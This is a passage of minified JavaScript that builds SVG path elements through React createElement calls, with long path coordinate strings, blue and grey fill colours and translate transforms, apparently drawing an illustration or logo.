18.56799507 C2.69137594 21.33933334 2.67464556 24.11031377 2.65428162 26.88157654 C2.59889399 34.76155918 2.56829372 42.64159611 2.54370117 50.52172852 C2.52774868 55.342864 2.49744116 60.16374933 2.45893669 64.98475456 C2.44734512 66.8157884 2.44135686 68.64686717 2.44125557 70.4779377 C2.43957421 92.80060827 2.43957421 92.80060827 -4 102 C-5.10844919 98.67465243 -4.84454356 96.37817425 -4 93 C-3.34 93 -2.68 93 -2 93 C-0.87303652 88.46676671 -0.82787166 83.9963448 -0.79467773 79.35424805 C-0.77982834 78.06568153 -0.77982834 78.06568153 -0.76467896 76.75108337 C-0.73317787 73.92132287 -0.70835168 71.09154561 -0.68359375 68.26171875 C-0.66301438 66.29587883 -0.64201765 64.33004323 -0.62062073 62.36421204 C-0.56550158 57.19725048 -0.51604759 52.03024966 -0.46777344 46.86322021 C-0.41748416 41.58781451 -0.3618369 36.31246562 -0.30664062 31.03710938 C-0.19918331 20.69145482 -0.09771085 10.34575087 0 0 Z ",fill:"#2288BF",transform:"translate(365,294)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0.66 0.66 1.32 1 2 C1.66 2 2.32 2 3 2 C3 2.66 3 3.32 3 4 C3.66 4 4.32 4 5 4 C5 5.32 5 6.64 5 8 C4.34 8 3.68 8 3 8 C3 9.32 3 10.64 3 12 C2.34 12 1.68 12 1 12 C0.67 12.66 0.34 13.32 0 14 C-0.99 14.33 -1.98 14.66 -3 15 C-3.99 16.485 -3.99 16.485 -5 18 C-5.70125 17.835 -6.4025 17.67 -7.125 17.5 C-10.13888194 16.97584662 -12.94713625 16.92900317 -16 17 C-15.6875 15.0625 -15.6875 15.0625 -15 13 C-14.01 12.67 -13.02 12.34 -12 12 C-10.76120645 10.53300764 -9.52576439 9.06248112 -8.33203125 7.55859375 C-6.46775319 5.37722441 -4.28127996 3.72637402 -2 2 C-1.34 1.34 -0.68 0.68 0 0 Z ",fill:"#039CE9",transform:"translate(377,270)"}),(0,a.createElement)("path",{d:"M0 0 C1 2 1 2 0.875 3.9375 C0 6 0 6 -2.5 7.3125 C-3.325 7.869375 -4.15 8.42625 -5 9 C-5.41434251 11.32031805 -5.74889902 13.65639085 -6 16 C-7.67515014 18.4289677 -8.82745912 18.93837826 -11.625 19.9375 C-14.19124685 20.7498001 -14.19124685 20.7498001 -14.8125 23.125 C-14.874375 23.74375 -14.93625 24.3625 -15 25 C-15.66 25 -16.32 25 -17 25 C-17.33 26.32 -17.66 27.64 -18 29 C-17.34 29 -16.68 29 -16 29 C-16.33 29.66 -16.66 30.32 -17 31 C-17.804375 31.268125 -18.60875 31.53625 -19.4375 31.8125 C-22.17808019 32.7634391 -22.17808019 32.7634391 -23.1875 35.3125 C-23.455625 36.199375 -23.72375 37.08625 -24 38 C-25 40.5 -25 40.5 -26 43 C-26.66 42.67 -27.32 42.34 -28 42 C-24.17113525 31.9199275 -19.12147965 20.16475373 -12 12 C-11.34 12 -10.68 12 -10 12 C-10 11.34 -10 10.68 -10 10 C-9.34 10 -8.68 10 -8 10 C-7.690625 9.195625 -7.690625 9.195625 -7.375 8.375 C-5.42003056 4.9982346 -2.81776305 2.69525161 0 0 Z ",fill:"#389DD4",transform:"translate(256,299)"}),(0,a.createElement)("path",{d:"M0 0 C1.74210754 -0.0010952 1.74210754 -0.0010952 3.51940918 -0.00221252 C7.35610748 0.00126933 11.19159008 0.04016224 15.02807617 0.0793457 C17.68896033 0.08867171 20.34977725 0.09603473 23.01066589 0.1007843 C29.29704282 0.11631051 35.58298379 0.15732174 41.86916894 0.20753175 C49.02749085 0.26346383 56.18583383 0.29092132 63.34431994 0.31600893 C78.065951 0.36823913 92.78724036 0.45615722 107.50854492 0.56762695 C107.50854492 0.89762695 107.50854492 1.22762695 107.50854492 1.56762695 C106.90924541 1.57001531 106.30994591 1.57240366 105.69248581 1.57486439 C91.11190506 1.63399388 76.53147324 1.70953074 61.95107651 1.80334187 C54.9000981 1.84831237 47.84917035 1.88772405 40.7980957 1.9140625 C33.99638854 1.93948506 27.19491579 1.98038122 20.39334869 2.03081322 C17.79539026 2.04752823 15.19739286 2.05901354 12.59938812 2.06524086 C8.96697767 2.07483135 5.3351491 2.10283109 1.70288086 2.13525391 C0.0833979 2.13310127 0.0833979 2.13310127 -1.56880188 2.13090515 C-2.55875656 2.1434433 -3.54871124 2.15598145 -4.56866455 2.16889954 C-5.85733114 2.17581298 -5.85733114 2.17581298 -7.1720314 2.1828661 C-10.00833447 2.65337022 -11.40479368 3.61949928 -13.49145508 5.56762695 C-13.97203223 7.61649175 -13.97203223 7.61649175 -13.74145508 9.75512695 C-13.65895508 11.01325195 -13.57645508 12.27137695 -13.49145508 13.56762695 C-15.64299245 11.86432654 -16.41870633 10.91318351 -16.99145508 8.19262695 C-15.27815065 -0.80222128 -7.31959277 -0.12019036 0 0 Z ",fill:"#42404E",transform:"translate(178.491455078125,217.432373046875)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.66 0 1.32 0 2 C0.82757813 2.19916016 0.82757813 2.19916016 1.671875 2.40234375 C4.22050602 3.05660641 6.73159343 3.80035064 9.25 4.5625 C10.14203125 4.83191406 11.0340625 5.10132813 11.953125 5.37890625 C12.62859375 5.58386719 13.3040625 5.78882813 14 6 C14 6.99 14 7.98 14 9 C13.175 8.71125 12.35 8.4225 11.5 8.125 C2.68193582 5.29062223 -5.88333867 3.80186667 -15.1875 3.8125 C-15.9285498 3.81330566 -16.66959961 3.81411133 -17.43310547 3.81494141 C-26.22944231 3.91193885 -34.62080285 5.33389181 -43 8 C-42.67 7.01 -42.34 6.02 -42 5 C-40.0390625 4.0859375 -40.0390625 4.0859375 -37.625 3.375 C-36.83351562 3.13523438 -36.04203125 2.89546875 -35.2265625 2.6484375 C-34.12441406 2.32746094 -34.12441406 2.32746094 -33 2 C-32.01 1.67 -31.02 1.34 -30 1 C-20.01875022 -0.13074298 -10.02767537 -0.1172066 0 0 Z ",fill:"#168AD1",transform:"translate(187,51)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C2.08033621 5.26275001 2.14508828 10.33077643 2.1328125 15.67578125 C2.13376923 16.60037643 2.13472595 17.52497162 2.13571167 18.47758484 C2.13639017 20.42833525 2.13455897 22.37908795 2.13037109 24.32983398 C2.12503654 27.2922075 2.13031789 30.25442815 2.13671875 33.21679688 C2.13605755 35.119792 2.13477553 37.02278703 2.1328125 38.92578125 C2.13483673 39.80107986 2.13686096 40.67637848 2.13894653 41.57820129 C2.10927167 49.49404306 1.83661905 56.9515561 -1.3125 64.3125 C-1.72113281 65.29863281 -2.12976563 66.28476563 -2.55078125 67.30078125 C-4.04542401 70.08460376 -5.66002306 71.89950897 -8 74 C-7.71872579 72.51882199 -7.42466268 71.04006751 -7.125 69.5625 C-6.96257812 68.73878906 -6.80015625 67.91507812 -6.6328125 67.06640625 C-6.31957031 66.04353516 -6.31957031 66.04353516 -6 65 C-5.01 64.505 -5.01 64.505 -4 64 C-3.2833793 61.68152126 -2.61757973 59.34680297 -2 57 C-1.67 56.34 -1.34 55.68 -1 55 C-0.88068952 53.24409123 -0.82280132 51.48385393 -0.79467773 49.72412109 C-0.77473251 48.6231308 -0.75478729 47.5221405 -0.73423767 46.38778687 C-0.70916893 44.59868393 -0.70916893 44.59868393 -0.68359375 42.7734375 C-0.66281265 41.55548492 -0.64203156 40.33753235 -0.62062073 39.08267212 C-0.55507416 35.1801738 -0.49621645 31.2776065 -0.4375 27.375 C-0.39431965 24.73436778 -0.35070552 22.09374261 -0.30664062 19.453125 C-0.19938756 12.96882357 -0.09763071 6.48445306 0 0 Z ",fill:"#3F9ACD",transform:"translate(432,79)"}),(0,a.createElement)("path",{d:"M0 0 C1.65 0.33 3.3 0.66 5 1 C5 1.66 5 2.32 5 3 C5.66 3.33 6.32 3.66 7 4 C6.01 4 5.02 4 4 4 C4.20625 4.598125 4.4125 5.19625 4.625 5.8125 C5 8 5 8 3 11 C0.9765625 12.203125 0.9765625 12.203125 -1.375 13.25 C-2.14585937 13.60578125 -2.91671875 13.9615625 -3.7109375 14.328125 C-6.26295486 15.07718129 -7.52778264 14.88051577 -10 14 C-10 13.34 -10 12.68 -10 12 C-10.66 11.67 -11.32 11.34 -12 11 C-11.34 10.67 -10.68 10.34 -10 10 C-9.896875 9.38125 -9.79375 8.7625 -9.6875 8.125 C-9 6 -9 6 -6.6875 4.3125 C-4.40680623 3.19867281 -2.48056726 2.45936431 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#0497E7",transform:"translate(246,355)"}),(0,a.createElement)("path",{d:"M0 0 C0.185625 0.639375 0.37125 1.27875 0.5625 1.9375 C1.94246056 4.42126213 1.94246056 4.42126213 5.625 4.75 C6.73875 4.8325 7.8525 4.915 9 5 C8.67 6.32 8.34 7.64 8 9 C7.01 9 6.02 9 5 9 C5.226875 9.598125 5.45375 10.19625 5.6875 10.8125 C6 13 6 13 4.8125 14.8125 C3 16 3 16 0.8125 15.6875 C0.214375 15.460625 -0.38375 15.23375 -1 15 C-1.33 15.99 -1.66 16.98 -2 18 C-2.99 17.67 -3.98 17.34 -5 17 C-5.33 17.66 -5.66 18.32 -6 19 C-6.99 18.34 -7.98 17.68 -9 17 C-8.34 15.35 -7.68 13.7 -7 12 C-6.34 12 -5.68 12 -5 12 C-5 10.68 -5 9.36 -5 8 C-4.01 8 -3.02 8 -2 8 C-1.34 5.36 -0.68 2.72 0 0 Z ",fill:"#049DE9",transform:"translate(389,253)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C3 2.98 3 4.96 3 7 C0 7 0 7 -3 5 C-3.226875 5.78375 -3.45375 6.5675 -3.6875 7.375 C-5.40660933 12.12301625 -7.68084721 16.52102552 -10 21 C-10.33 21 -10.66 21 -11 21 C-10.91621094 20.36191406 -10.83242187 19.72382813 -10.74609375 19.06640625 C-10.64425781 18.24011719 -10.54242188 17.41382813 -10.4375 16.5625 C-10.33308594 15.73878906 -10.22867188 14.91507812 -10.12109375 14.06640625 C-10.08113281 13.38449219 -10.04117188 12.70257813 -10 12 C-11.05270463 10.84188612 -11.05270463 10.84188612 -13 10 C-13 9.34 -13 8.68 -13 8 C-13.66 8 -14.32 8 -15 8 C-14.75 6.125 -14.75 6.125 -14 4 C-12.125 2.6875 -12.125 2.6875 -10 2 C-9.01 2.33 -8.02 2.66 -7 3 C-7 2.34 -7 1.68 -7 1 C-5.5459375 1.0309375 -5.5459375 1.0309375 -4.0625 1.0625 C-1.12534105 1.35618499 -1.12534105 1.35618499 0 0 Z ",fill:"#0696E4",transform:"translate(253,320)"}),(0,a.createElement)("path",{d:"M0 0 C20.83358393 -0.57090344 38.38572586 -0.27601885 57 10 C57.66 10.66 58.32 11.32 59 12 C55.87709365 11.51421457 53.00419641 11.0013988 50 10 C50.495 11.485 50.495 11.485 51 13 C48.525 12.505 48.525 12.505 46 12 C46.99 11.67 47.98 11.34 49 11 C48.3621516 7.94956463 48.3621516 7.94956463 46.3203125 7.0859375 C40.92736063 5.33946554 35.84818869 4.54114434 30.1875 4.2109375 C28 4 28 4 27 3 C25.00217874 2.84174742 22.99911166 2.74880829 20.99609375 2.68359375 C19.78115234 2.64169922 18.56621094 2.59980469 17.31445312 2.55664062 C16.03505859 2.51732422 14.75566406 2.47800781 13.4375 2.4375 C12.15423828 2.39431641 10.87097656 2.35113281 9.54882812 2.30664062 C6.36600147 2.200152 3.18309326 2.09814038 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#4AA2D1",transform:"translate(158,35)"}),(0,a.createElement)("path",{d:"M0 0 C1.16080078 -0.00128906 2.32160156 -0.00257813 3.51757812 -0.00390625 C4.74025391 -0.00003906 5.96292969 0.00382813 7.22265625 0.0078125 C8.44146484 0.00394531 9.66027344 0.00007812 10.91601562 -0.00390625 C12.65915039 -0.00197266 12.65915039 -0.00197266 14.4375 0 C15.50991943 0.00112793 16.58233887 0.00225586 17.68725586 0.00341797 C20.28515625 0.1328125 20.28515625 0.1328125 22.28515625 1.1328125 C23.83217792 5.06811946 25.01102405 9.09806053 26.28515625 13.1328125 C31.23515625 13.4628125 36.18515625 13.7928125 41.28515625 14.1328125 C41.61515625 13.1428125 41.94515625 12.1528125 42.28515625 11.1328125 C42.28515625 12.4528125 42.28515625 13.7728125 42.28515625 15.1328125 C36.34515625 15.1328125 30.40515625 15.1328125 24.28515625 15.1328125 C21.28515625 9.1328125 21.28515625 9.1328125 20.28515625 2.1328125 C12.03515625 2.1328125 3.78515625 2.1328125 -4.71484375 2.1328125 C-4.71484375 4.1128125 -4.71484375 6.0928125 -4.71484375 8.1328125 C-6.03484375 8.4628125 -7.35484375 8.7928125 -8.71484375 9.1328125 C-8.40666019 7.81929227 -8.0931671 6.50701678 -7.77734375 5.1953125 C-7.60332031 4.46441406 -7.42929687 3.73351562 -7.25 2.98046875 C-6.12087626 -0.91789279 -3.67813929 0.0038726 0 0 Z ",fill:"#55A7D4",transform:"translate(326.71484375,128.8671875)"}),(0,a.createElement)("path",{d:"M0 0 C-2.17849699 4.92058524 -5.47870794 8.12807528 -10 11 C-13.64300429 12.09625228 -17.2157925 12.65914307 -21 13 C-24 9.375 -24 9.375 -24 6 C-21.69 4.68 -19.38 3.36 -17 2 C-16.443125 2.99 -16.443125 2.99 -15.875 4 C-14.09105222 6.35303045 -14.09105222 6.35303045 -10.8125 6.25 C-9.884375 6.1675 -8.95625 6.085 -8 6 C-7.7525 5.38125 -7.505 4.7625 -7.25 4.125 C-5.4936973 1.13928541 -3.46854079 0 0 0 Z ",fill:"#0497E4",transform:"translate(287,341)"}),(0,a.createElement)("path",{d:"M0 0 C4.05722777 0.0721239 8.11458497 0.13606261 12.17193604 0.20080566 C20.05944953 0.32781524 27.94678059 0.463491 35.83404541 0.60510254 C35.83404541 0.93510254 35.83404541 1.26510254 35.83404541 1.60510254 C34.1251564 1.61723282 34.1251564 1.61723282 32.38174438 1.62960815 C21.64072846 1.7071221 10.89983839 1.7948748 0.15898705 1.89262962 C-5.36287554 1.94255682 -10.88471932 1.98888732 -16.40667725 2.02697754 C-21.73653182 2.06387531 -27.06622775 2.11024775 -32.3959465 2.16316605 C-34.42845245 2.18168607 -36.46099238 2.19680285 -38.49354935 2.2084465 C-41.34236109 2.22534973 -44.1908114 2.25439494 -47.03948975 2.28625488 C-48.29753418 2.28949516 -48.29753418 2.28949516 -49.58099365 2.2928009 C-54.16004915 2.3581402 -57.85431682 2.86583575 -62.16595459 4.60510254 C-61.83595459 3.61510254 -61.50595459 2.62510254 -61.16595459 1.60510254 C-46.42281735 -5.76646608 -16.55661806 -0.30068096 0 0 Z ",fill:"#47434B",transform:"translate(226.16595458984375,175.3948974609375)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C0.68734892 5.24087273 -1.01792983 9.03585965 -3 13 C-3 13.66 -3 14.32 -3 15 C-2.20335937 14.52949219 -1.40671875 14.05898438 -0.5859375 13.57421875 C1.00347656 12.64029297 1.00347656 12.64029297 2.625 11.6875 C3.66914063 11.07261719 4.71328125 10.45773437 5.7890625 9.82421875 C14.28051392 5 14.28051392 5 17 5 C17 5.66 17 6.32 17 7 C16.34 7 15.68 7 15 7 C15 7.66 15 8.32 15 9 C13.35 9 11.7 9 10 9 C10 9.66 10 10.32 10 11 C9.34 11 8.68 11 8 11 C8.33 11.99 8.66 12.98 9 14 C8.278125 14.103125 7.55625 14.20625 6.8125 14.3125 C3.94176938 14.86711079 3.94176938 14.86711079 1.5 16.5 C-1.06565201 18.03939121 -3.06168772 18.5802411 -6 19 C-6.625 16.6875 -6.625 16.6875 -7 14 C-6.34 13.01 -5.68 12.02 -5 11 C-4.505 9.205625 -4.505 9.205625 -4 7.375 C-3.67 6.26125 -3.34 5.1475 -3 4 C-2.34 3.67 -1.68 3.34 -1 3 C-0.67 2.01 -0.34 1.02 0 0 Z ",fill:"#3EA5D6",transform:"translate(238,344)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C3.34569019 3.89167518 4.67436 7.78895398 6 11.6875 C6.3815625 12.79029297 6.763125 13.89308594 7.15625 15.02929688 C7.5171875 16.09599609 7.878125 17.16269531 8.25 18.26171875 C8.58515625 19.24100342 8.9203125 20.22028809 9.265625 21.22924805 C10 24 10 24 10 29 C3.73 29 -2.54 29 -9 29 C-8.67 27.68 -8.34 26.36 -8 25 C-8 25.99 -8 26.98 -8 28 C-2.72 28 2.56 28 8 28 C7.401875 26.370625 6.80375 24.74125 6.1875 23.0625 C4.59282664 18.69546166 3.0975743 14.31223777 1.7109375 9.875 C0.97233602 7.71618881 0.97233602 7.71618881 -1 5 C-1.33 7.31 -1.66 9.62 -2 12 C-2.66 11.67 -3.32 11.34 -4 11 C-3.71758359 9.53984709 -3.42373386 8.08190207 -3.125 6.625 C-2.96257812 5.81289062 -2.80015625 5.00078125 -2.6328125 4.1640625 C-2 2 -2 2 0 0 Z ",fill:"#67AED1",transform:"translate(334,88)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.99 1.32 1.98 2 3 C-3.30972552 9.29065625 -9.01203568 15.10168346 -14.875 20.875 C-16.58300524 22.5575885 -18.28885251 24.24237133 -19.9921875 25.9296875 C-20.73839355 26.66429199 -21.48459961 27.39889648 -22.25341797 28.15576172 C-24.06693877 29.89194424 -24.06693877 29.89194424 -25 32 C-25.66 32 -26.32 32 -27 32 C-27 30.35 -27 28.7 -27 27 C-26.01 27 -25.02 27 -24 27 C-23.67 25.68 -23.34 24.36 -23 23 C-22.01 23 -21.02 23 -20 23 C-19.67 22.01 -19.34 21.02 -19 20 C-18.34 20.33 -17.68 20.66 -17 21 C-17 19.68 -17 18.36 -17 17 C-15.02 16.34 -13.04 15.68 -11 15 C-10.67 13.35 -10.34 11.7 -10 10 C-8.35 9.67 -6.7 9.34 -5 9 C-5 8.34 -5 7.68 -5 7 C-4.34 7 -3.68 7 -3 7 C-3 5.02 -3 3.04 -3 1 C-2.01 0.67 -1.02 0.34 0 0 Z ",fill:"#349ED3",transform:"translate(397,261)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 1.32 1.32 2.64 2 4 C0.60416667 5.39583333 -0.79166667 6.79166667 -2.1875 8.1875 C-3.01378906 9.01507813 -3.84007812 9.84265625 -4.69140625 10.6953125 C-6.32628985 12.3274298 -7.9719382 13.94879682 -9.625 15.5625 C-12.38588663 18.39604154 -14.91664641 21.38781753 -17.44921875 24.42578125 C-17.96097656 24.94527344 -18.47273438 25.46476562 -19 26 C-19.66 26 -20.32 26 -21 26 C-21 26.66 -21 27.32 -21 28 C-21.66 28 -22.32 28 -23 28 C-23.268125 28.61875 -23.53625 29.2375 -23.8125 29.875 C-25 32 -25 32 -28 34 C-27.42415568 31.61435923 -26.77772405 29.33317216 -26 27 C-24.68 27 -23.36 27 -22 27 C-22.33 26.01 -22.66 25.02 -23 24 C-22.34 24 -21.68 24 -21 24 C-21 23.01 -21 22.02 -21 21 C-19.68 21 -18.36 21 -17 21 C-16.67 19.68 -16.34 18.36 -16 17 C-15.34 17 -14.68 17 -14 17 C-14 16.01 -14 15.02 -14 14 C-12.68 14 -11.36 14 -10 14 C-10.226875 13.401875 -10.45375 12.80375 -10.6875 12.1875 C-11 10 -11 10 -9.8125 8.3125 C-7.83362212 6.87951947 -6.36397051 6.51711855 -4 6 C-0.87525373 4.36526484 -0.87525373 4.36526484 -0.3125 1.875 C-0.209375 1.25625 -0.10625 0.6375 0 0 Z ",fill:"#2F96CA",transform:"translate(337,286)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 1.32 0.66 2.64 1 4 C0.27683594 4.52787109 0.27683594 4.52787109 -0.4609375 5.06640625 C-5.12867933 8.71486568 -6.94757674 11.15320409 -8 17 C-8.33 16.34 -8.66 15.68 -9 15 C-12.55976214 16.31843042 -14.36890124 18.48166842 -16.7109375 21.3984375 C-18.66628534 23.82780906 -20.61697203 25.98359172 -23 28 C-24.32 27.67 -25.64 27.34 -27 27 C-18.09 18.09 -9.18 9.18 0 0 Z ",fill:"#40A3D6",transform:"translate(284,271)"}),(0,a.createElement)("path",{d:"M0 0 C0 3 0 3 -2 6 C-2.66 6 -3.32 6 -4 6 C-4.33 7.65 -4.66 9.3 -5 11 C-5.66 11 -6.32 11 -7 11 C-7.226875 11.61875 -7.45375 12.2375 -7.6875 12.875 C-9 15 -9 15 -11.5 15.875 C-12.325 16.24625 -13.15 16.6175 -14 17 C-14.69258229 18.99117408 -15.35747635 20.9921136 -16 23 C-20.21052632 27 -20.21052632 27 -23 27 C-23 27.66 -23 28.32 -23 29 C-24.65 29.33 -26.3 29.66 -28 30 C-26.7260411 27.96166576 -25.38938077 25.96147874 -24 24 C-23.34 24 -22.68 24 -22 24 C-22 23.34 -22 22.68 -22 22 C-21.34 22 -20.68 22 -20 22 C-20 21.34 -20 20.68 -20 20 C-19.34 20 -18.68 20 -18 20 C-18 19.34 -18 18.68 -18 18 C-17.34 18 -16.68 18 -16 18 C-15.731875 17.360625 -15.46375 16.72125 -15.1875 16.0625 C-14 14 -14 14 -11 13 C-11 12.34 -11 11.68 -11 11 C-10.34 11 -9.68 11 -9 11 C-9 10.34 -9 9.68 -9 9 C-8.34 9 -7.68 9 -7 9 C-7 8.34 -7 7.68 -7 7 C-6.34 7 -5.68 7 -5 7 C-5 6.34 -5 5.68 -5 5 C-4.34 5 -3.68 5 -3 5 C-2.690625 4.360625 -2.38125 3.72125 -2.0625 3.0625 C-1 1 -1 1 0 0 Z ",fill:"#4EA9D1",transform:"translate(324,230)"}),(0,a.createElement)("path",{d:"M0 0 C1.04059132 3.12177395 1.32284898 4.07083439 0 7 C-1.66072849 7.68132451 -3.327767 8.34742127 -5 9 C-6.34410262 11.01735205 -6.34410262 11.01735205 -7 13 C-7.66 13 -8.32 13 -9 13 C-9.33 13.99 -9.66 14.98 -10 16 C-10.99 16.33 -11.98 16.66 -13 17 C-13.33 17.66 -13.66 18.32 -14 19 C-14.33 19.66 -14.66 20.32 -15 21 C-15.99 21.33 -16.98 21.66 -18 22 C-19.21869929 24.50447516 -19.21869929 24.50447516 -20 27 C-20.99 27 -21.98 27 -23 27 C-22.49259538 22.60249328 -19.91706686 20.13051078 -17 17 C-16.34 17 -15.68 17 -15 17 C-14.73268066 16.40670898 -14.46536133 15.81341797 -14.18994141 15.20214844 C-12.98415007 12.97066755 -11.7641905 11.5335201 -9.9609375 9.765625 C-9.38085938 9.19199219 -8.80078125 8.61835938 -8.203125 8.02734375 C-7.59984375 7.44082031 -6.9965625 6.85429687 -6.375 6.25 C-5.76398438 5.64800781 -5.15296875 5.04601562 -4.5234375 4.42578125 C-3.02011376 2.94594695 -1.51065144 1.47235324 0 0 Z ",fill:"#45A4DA",transform:"translate(375,267)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C2.14277344 1.72445312 1.28554688 2.44890625 0.40234375 3.1953125 C-0.1486499 3.66146973 -0.69964355 4.12762695 -1.26733398 4.60791016 C-2.46741275 5.62209341 -3.66875611 6.63478209 -4.87133789 7.64599609 C-7.95655208 10.24508843 -10.97283431 12.88838551 -13.9375 15.625 C-17.2057547 18.15956487 -18.89010438 19 -23 19 C-25.875 18.0625 -25.875 18.0625 -28 17 C-28 15.68 -28 14.36 -28 13 C-27.34 13 -26.68 13 -26 13 C-25.67 14.32 -25.34 15.64 -25 17 C-21.7 16.01 -18.4 15.02 -15 14 C-15 13.34 -15 12.68 -15 12 C-14.01 11.34 -13.02 10.68 -12 10 C-11.87625 9.175 -11.7525 8.35 -11.625 7.5 C-11.315625 6.2625 -11.315625 6.2625 -11 5 C-8.4375 3.6875 -8.4375 3.6875 -6 3 C-6 2.67 -6 2.34 -6 2 C-4.02 2 -2.04 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#1F94D4",transform:"translate(339,186)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0 1.98 0 3 0 C3 1.32 3 2.64 3 4 C2.01 4 1.02 4 0 4 C0.12375 5.27875 0.2475 6.5575 0.375 7.875 C0.44460937 8.59429687 0.51421875 9.31359375 0.5859375 10.0546875 C0.86374749 12.22668245 0.86374749 12.22668245 3 14 C7.2791661 14.57826569 9.4620631 13.29487799 13 11 C13.66 11 14.32 11 15 11 C15 10.34 15 9.68 15 9 C16.32 9.33 17.64 9.66 19 10 C8.61610526 17.48251239 8.61610526 17.48251239 3.5625 17.75 C0 17 0 17 -2.5625 14.875 C-4.36943621 11.26112758 -4.17294777 9.83162938 -3 6 C-2.06057514 3.97084231 -1.07401615 1.96124688 0 0 Z ",fill:"#1F93D4",transform:"translate(214,366)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C1.37758534 5.35403433 0.34150166 9.32795284 -1.06640625 13.4921875 C-1.46923828 14.69101563 -1.87207031 15.88984375 -2.28710938 17.125 C-2.70798828 18.3625 -3.12886719 19.6 -3.5625 20.875 C-3.99195414 22.1482967 -4.4209946 23.42173301 -4.84960938 24.6953125 C-5.89568255 27.79827113 -6.94593952 30.8997474 -8 34 C-10.1519437 30.77208445 -10.20086443 29.71599191 -10 26 C-9.34 25.67 -8.68 25.34 -8 25 C-7.07670249 21.90618168 -7.07670249 21.90618168 -6.375 18.25 C-6.11460937 17.01765625 -5.85421875 15.7853125 -5.5859375 14.515625 C-5.09591349 11.57548094 -4.87547826 8.96588137 -5 6 C-4.01 6.33 -3.02 6.66 -2 7 C-2 5.35 -2 3.7 -2 2 C-1.34 2 -0.68 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#1891D3",transform:"translate(311,104)"}),(0,a.createElement)("path",{d:"M0 0 C1 3 1 3 1 6 C-1.8529312 9.32841973 -3.7447591 11.08816266 -8 12 C-8.33 12.99 -8.66 13.98 -9 15 C-11 16 -11 16 -13 17 C-13.33 17.99 -13.66 18.98 -14 20 C-15.33333333 20.66666667 -16.66666667 21.33333333 -18 22 C-18.33 22.99 -18.66 23.98 -19 25 C-20.32 24.34 -21.64 23.68 -23 23 C-21.38113585 21.32737283 -19.7547271 19.66204463 -18.125 18 C-17.22007812 17.071875 -16.31515625 16.14375 -15.3828125 15.1875 C-13 13 -13 13 -11 13 C-10.76539063 12.43796875 -10.53078125 11.8759375 -10.2890625 11.296875 C-8.69337 8.45364109 -6.71075457 6.51901873 -4.375 4.25 C-3.55773437 3.45078125 -2.74046875 2.6515625 -1.8984375 1.828125 C-0.95871094 0.92320312 -0.95871094 0.92320312 0 0 Z ",fill:"#48AAD9",transform:"translate(358,196)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1 11.22 1 22.44 1 34 C1.66 34 2.32 34 3 34 C3.25523438 34.83144531 3.25523438 34.83144531 3.515625 35.6796875 C3.75796875 36.40414062 4.0003125 37.12859375 4.25 37.875 C4.48203125 38.59429687 4.7140625 39.31359375 4.953125 40.0546875 C6.29486219 42.54791556 7.37045323 43.0233112 10 44 C11.57158878 44.42151885 13.15629082 44.7968834 14.75 45.125 C15.54921875 45.29257812 16.3484375 45.46015625 17.171875 45.6328125 C17.77515625 45.75398438 18.3784375 45.87515625 19 46 C19 46.33 19 46.66 19 47 C14.38 47 9.76 47 5 47 C4.01 45.02 3.02 43.04 2 41 C1.34 40.01 0.68 39.02 0 38 C-0.17207928 35.09815132 -0.23201104 32.29455753 -0.1953125 29.39453125 C-0.19106766 28.13572395 -0.19106766 28.13572395 -0.18673706 26.85148621 C-0.17554385 24.17167897 -0.15044101 21.49220619 -0.125 18.8125 C-0.11496908 16.99544754 -0.10584343 15.17838983 -0.09765625 13.36132812 C-0.07560734 8.90742325 -0.04108351 4.45376833 0 0 Z ",fill:"#0F91DA",transform:"translate(99,232)"}),(0,a.createElement)("path",{d:"M0 0 C5.66666667 5.66666667 11.33333333 11.33333333 17 17 C17.99 16.2575 18.98 15.515 20 14.75 C20.556875 14.33234375 21.11375 13.9146875 21.6875 13.484375 C23.44160248 11.8308053 23.44160248 11.8308053 23 8 C24.32 8.33 25.64 8.66 27 9 C26.67 10.98 26.34 12.96 26 15 C25.01 15.33 24.02 15.66 23 16 C21.61423077 17.62332967 20.27358732 19.28724465 19 21 C14.38092253 19.02039537 11.7498522 15.92744878 8.625 12.0625 C6.82140497 9.83188559 4.96454289 8.11626809 2.6875 6.375 C1.800625 5.59125 0.91375 4.8075 0 4 C0 2.68 0 1.36 0 0 Z ",fill:"#38A4D5",transform:"translate(352,222)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C2.38277927 11.21172382 1.93503824 18.65495084 -5.1875 27.8125 C-5.785625 28.534375 -6.38375 29.25625 -7 30 C-6.34 30.61875 -5.68 31.2375 -5 31.875 C-3 34 -3 34 -3 36 C-4.65 35.67 -6.3 35.34 -8 35 C-9.28571429 26.42857143 -9.28571429 26.42857143 -8 23 C-7.01 23 -6.02 23 -5 23 C-5 22.01 -5 21.02 -5 20 C-4.01 20 -3.02 20 -2 20 C-1.34 13.4 -0.68 6.8 0 0 Z ",fill:"#2FA1D4",transform:"translate(401,203)"}),(0,a.createElement)("path",{d:"M0 0 C0 0.66 0 1.32 0 2 C-0.66 2 -1.32 2 -2 2 C-2 2.66 -2 3.32 -2 4 C-2.66 4 -3.32 4 -4 4 C-4 4.66 -4 5.32 -4 6 C-4.66 6 -5.32 6 -6 6 C-6 6.66 -6 7.32 -6 8 C-6.66 8 -7.32 8 -8 8 C-8 8.66 -8 9.32 -8 10 C-9.57421875 11.55078125 -9.57421875 11.55078125 -11.6875 13.3125 C-14.20254874 15.4440484 -16.64003078 17.57245816 -18.9375 19.9375 C-19.9584375 20.9584375 -19.9584375 